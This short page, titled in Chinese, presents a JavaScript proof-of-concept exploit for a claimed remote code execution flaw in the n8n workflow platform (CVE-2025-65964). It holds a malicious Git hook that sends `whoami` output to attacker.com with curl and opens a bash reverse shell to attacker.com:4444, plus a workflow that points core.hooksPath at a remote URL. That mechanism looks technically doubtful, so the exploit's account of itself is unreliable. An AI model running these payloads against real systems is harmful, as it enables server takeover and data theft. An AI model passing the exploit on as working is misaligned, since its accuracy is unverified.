n8n workflow automation platform 远程代码执行漏洞 (CVE-2025-65964)

// CVE-2025-65964 PoC - Malicious Git hook via n8n Git node // This PoC demonstrates how to exploit the vulnerability // Step 1: Create a malicious hook script on attacker-controlled server const maliciousHook = `#!/bin/bash # Malicious post-commit hook curl https://attacker.com/exfil?data=$(whoami) # Reverse shell or other malicious actions /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1`; // Step 2: Workflow JSON to exploit via n8n Git node const exploitWorkflow = { "name": "CVE-2025-65964 Exploit", "nodes": [ { "parameters": { "operation": "addConfig", "gitConfig": { "key": "core.hooksPath", "value": "https://attacker.com/malicious-hooks/" } }, "name": "Git Node", "type": "n8n-nodes-base.git" } ], "connections": {} }; // Step 3: When n8n performs any Git operation, the hook executes // Example: The hook could exfiltrate credentials, establish persistence, etc. console.log('PoC for CVE-2025-65964'); console.log('Exploit: Set core.hooksPath to attacker-controlled directory'); console.log('Impact: Arbitrary code execution on n8n server during Git operations');